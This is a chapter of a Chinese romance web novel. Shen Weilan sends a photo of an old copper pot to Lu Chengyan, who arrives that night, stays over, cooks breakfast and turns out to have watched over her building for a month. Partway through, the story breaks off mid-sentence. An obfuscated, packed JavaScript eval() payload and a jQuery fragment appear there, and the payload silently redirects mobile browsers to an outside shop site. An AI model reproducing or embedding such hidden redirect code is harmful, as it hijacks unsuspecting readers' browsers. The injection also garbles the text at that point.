沈微澜回到公寓，天已经黑了。
她开门，开灯，把铜壶放在玄关柜上。壶身映着灯光，那层温润的光又浮起来。她又把电视打开，停在财经频道，让屋里有点声音。
手机一直安静。
她先去洗了澡。水声哗啦哗啦，她隔着水声，总觉得能听见消息提示音。等她关了水，擦干头发出来，屏幕还是暗的，也没有未读消息。
她坐在沙发上，把手机拿起来，片刻后又放下。
过了一会儿，她点开对话框，那张照片安安静静地躺在那里，底下什么都没有。他没有回。
她告诉自己，他大概在忙。陆氏的事务错综复杂，他多半还没看手机。
沈微澜把这个念头按下去，起身去倒水。水倒了一半，又折回来，看了一眼屏幕。还是没有未读消息。
她索性不倒了，坐回沙发，点开那张照片，长按。这个社交软件的可撤回时间很长，屏幕上浮出“撤回”两个字。
她的手指悬在上面。
过了几秒，她退了出来。撤回太刻意了，显得她多在意似的。一张照片而已，有什么好撤的。
她回了卧室，把手机放在桌上，关了灯，上床躺下。
躺了一会儿，又睁开眼。
窗帘只拉了一半，窗外城市的灯光映进来，在房间墙壁和地板上落下一片很淡的光。她盯着那片光，走到窗边，打开了窗。
过了片刻，她看见一辆黑色的迈巴赫开过来。很轻盈地停住了。
不久后，门铃响了。
沈微澜心漏跳了一拍。她从卧室出来，穿过客厅和还没关掉的电视，走到门边。墙上的可视屏亮着，屏幕里，陆承衍站在门外。
……
她打开门。
陆承衍站在门口，穿着一件深灰色羊绒风衣，剪裁利落，衬得整个人又高又直。内搭白色高领，领口收得齐整。腕上一块表，表盘极简，在楼道灯下泛着冷光。
他肩头落着夜里的寒气，可那点寒气落在他身上，衬得他愈发气质出尘。
他看着她，目光落在她脸上，很静。
沈微澜没说话。他也没说话。两个人隔着门框站着，楼道的冷气往里涌，她竟没觉得冷。
他看着她，看得很慢，从她的眼睛，落到她的脸。那目光像要把这一个月没见到的，都在这一眼里补回来。
片刻后，他抬起手。指尖差一点碰到她的脸，最后又收了回去，只扣在门框上。
“你怎么来了。”沈微澜先开口。声音很轻。
“来找你。”陆承衍说。
他看着她，低声补了一句：“你发了张照片，我就来了。”
沈微澜侧开身，让他进来。
他迈进门，从她身边擦过去。风衣一角扫过她的手背，带着外面的凉，和一点很淡的雪松味。
那味道她很熟悉。他身上的雪松味。这一个月，她在某些走神的瞬间想起过。
陆承衍走到玄关，停下，回身看她。目光落到她身上。
她只穿了件单薄的睡裙。
他抬手，把风衣脱下来，披到她肩上。
“春天夜里凉。”他说。
风衣还带着他的体温，和那股雪松味，整个罩下来。
沈微澜没动。
“瘦了。”他说。
沈微澜抬头看他。
“这一个月，没好好吃饭吗？”
她不知道他是怎么看出来的。她每天照常吃三餐，从没饿过自己一顿，可没有陆家的专业厨师，她确实在菜色上应付了一些。
陆承衍说得笃定，像他每天都看得见她似的。
“没瘦。”她说，“你看错了。”
他看着她，没说话。
“真的。”她说。
“嗯，没瘦。”他又看她一眼，不反驳她。
他没再追问，目光落到客厅，看见电视还亮着。
“看什么节目。”他问。沈微澜引他走到沙发边坐下。
“没看什么，随便开着。”她说。
她让陆承衍坐好，然后转身去厨房，倒了两杯水，端出来，把其中一杯放在他面前。
然后，她在旁边坐下。两个人之间隔着半臂。
电视里播着一档访谈，主持人问着无关紧要的问题。
沈微澜没在看电视。她感觉到身边的人，也感觉到半臂之外，另一个人的体温和呼吸。
这一个月，这间屋子第一次有了第二个人的动静。
中途，她拿起遥控器，换了几个频道。电影频道正在播一部爱情片，刚播到开头。
她放下遥控器，没再换频道。
两个人一起看电影。
沈微澜其实没认真看电影。她用余光去看身边的人。屏幕的光落在他脸上，明明灭灭。
他忽然侧过头，和她对视。
沈微澜别开脸，去看电影。
过了几秒，她听见他低低地笑了一声。
电影演到男女主角分开多年后重逢。她看得有些出神。
许久后，她打了个哈欠。
“困了就去睡。”他说。
“我要看完这部。”她说。
陆承衍没再说什么，往她那边挪近了些，把两人之间那半臂，缩成一道窄窄的缝。
沈微澜没动。
电影接近尾声，主角在雨里拥抱。
“以后，我陪你看。”他忽然说。
她没转头。过了几秒，轻轻“嗯”了一声。
电影放完，片尾字幕滚动。沈微澜困得眼皮打架。
“去睡。”他说，站起身。
她跟着站起来，走到卧室门口，又回头看他。
“太晚了。”她说，“你今晚住这儿吧。右手边是客房，你可以睡里面。”
他看着她，过了两秒：“好。”
她进了卧室，轻轻带上门。
这套房子以前只住她一个人，她也没做隔音棉。她躺到床上，听见客厅里，他收拾水杯的声音，很轻。
过了一会儿，隔壁客房的门开了，又轻轻合上。
她闭上眼。这一晚，她睡得很沉。
……
第二天，沈微澜醒来，天已经大亮。
她躺在床上，计划了一下今天要做的事务，没太多要忙的，她就赖了一会儿床。
渐渐的，她闻到了一股粥香。
沈微澜坐起来，想起昨晚的事，披了件外套，走出卧室。
厨房里，陆承衍站在灶台前。他只穿了件白色高领，袖口卷起，露出一截小臂，正在搅着锅里的燕麦粥。
听见动静，他回头。
“醒了。”他说。
餐桌上已经摆好了一个牛油果，几碟小菜，还有一杯黑咖啡。
沈微澜走过去，看着那杯咖啡。
“你记得。”她说。
“嗯，我记得。你早上总吃这几样。”他说。
她坐下来。他盛了一碗燕麦粥，在厨房捣鼓了一会儿，放到她面前。
“试试温度。”他说。
她舀起一勺，吹了吹，然后发现不用吹。温度刚好。粥熬得稠而软，燕麦香很足。
“你还会做饭。”她说。
“现学的。”
两个人对坐着吃早餐。餐厅里很静，只有碗勺偶尔轻碰一下。
吃完，他起身，把碗筷收进洗碗机，洗了手，擦干。
饭后，两人又聊了一会儿，沈微澜说到那个铜壶，陆承衍的目光落在玄关柜上的铜壶上。
“我认得它。”他说。
……
他走过去，把它拿起来。动作很慢，像捧着一段搁置了很多年的过去。
“这确实曾经是陆氏的东西。”他声音平静，像在说一件与自己无关的旧事，“九十年代，城东有家铜器铺，我父亲开的。壶盖里的这些字，都是他刻的。”
“后来铺子关了。”他顿了顿，“那批铜器就散了。”
他的指腹摩挲着壶嘴的缺口，停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887698|212611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在那里。
“这壶，我父亲走后，我一直没找过。”
他说得轻，像提一句很久以前的旧账。
沈微澜走到他身边。他垂着眼，指腹还停在那道缺口上。
她没有说话。她伸手，指尖搭在壶身另一侧。壶的触感光滑，可他们两个人的手指，隔着那只壶，只差了一点点。
他的手指擦过壶嘴的缺口，她的指尖停在壶身的温润处。
那一瞬，两人的手指很近。
过了几秒，沈微澜把手收回来。
“嗯，送给你。算是我给你带回来了。”沈微澜声音很轻。
陆承衍低头看她。
“它以前是你的东西。”沈微澜解释。
陆承衍没有接话。他只是看着她，目光很深。
过了很久，他开口：“为什么买它。”
沈微澜想了片刻：“就是觉得好看。”
陆承衍看着她，忽然笑了。那个笑很软很轻，从眼底浮起来，停在嘴角。
他把铜壶摩挲了两下，摆正，让壶嘴那道缺口朝外。
……
临近中午，陆承衍要走了。他走到门口，拿起搭在沙发扶手上的风衣，穿好，回头看她。
“你拍的那张照片，”他说，“我很喜欢。”
“好好吃饭。”他又说，“如果你想回陆家宅，随时恭候。二楼的卧室和书房，都给你留着。”
沈微澜站在门口，没接话。
他下楼去了。电梯“叮”了一下，然后越来越远。
沈微澜关上门，靠在门后，站了很久。
……
陆承衍走后，沈微澜收拾了一下，下楼出门。门卫从岗亭里探出身，叫住她。
“沈女士。”门卫压低声音，“有件事，我想着该跟您说一声。”
沈微澜停住脚步。
“每天晚上，对面马路总有辆车，连着一个月了，”门卫朝马路对面抬了抬下巴，“每晚都来，停在老地方，也不熄火，坐到后半夜才走。”
沈微澜顺着他的视线看过去。马路对面空着。
“我起先没在意，后来认出了车牌。”门卫说，“是陆氏的车。就是电视上那位陆总。”
沈微澜握着车钥匙，没说话。
“昨晚，那人下车了，进了咱们这栋楼。”门卫又补了一句，“这是一个月来的头一回。”
沈微澜说：“我知道了。谢谢你。”
沈微澜上了自己的车，坐在驾驶座上，没发动。
她想起昨晚，他站在她门口，肩头落着夜里的寒气。
连续一个月。他每晚都来，停在楼下，坐到大半夜，又走。
她以为自己这一个月是一个人。原来他一直在楼下。
而她，昨天才把那张照片发出去。
……
之后几天，陆承衍没有再来。
沈微澜知道，他在等她。
晚上，沈微澜坐在床头，打开手机，看铜壶的照片。照片里，车子里半明半昧的光线，壶身那层温润的光，柔和得像某个人看她的眼神。
她想起他那句话：“这壶，我父亲走后，我一直没找过。”
想起他摩挲壶嘴缺口的那副专注。
沈微澜忽然意识到，这一个月，她一直在跟自己较劲。
她想见他。或者说，她太想见他了。只是她怕自己陷进去，怕自己像母亲一样，把一个人活成自己的全部，最后连骨头都被榨干。
可她坐在这里，看着那只壶，忽然觉得，也许，事情不一样。她可以再试一试。
那个念头落下来，她发现自己没有再拒绝自己。
她把手机上铜壶的照片关掉。她想，明天，她可以回那栋宅子里去。回到那条暖黄色壁灯映照的走廊。
窗外的夜色很深。她检查了门锁，然后拉上窗帘，躺下来，关了灯。
黑暗里，她想的是陆家宅二楼的长走廊，窗下的薰衣草，还有落地窗外，香樟树的影子。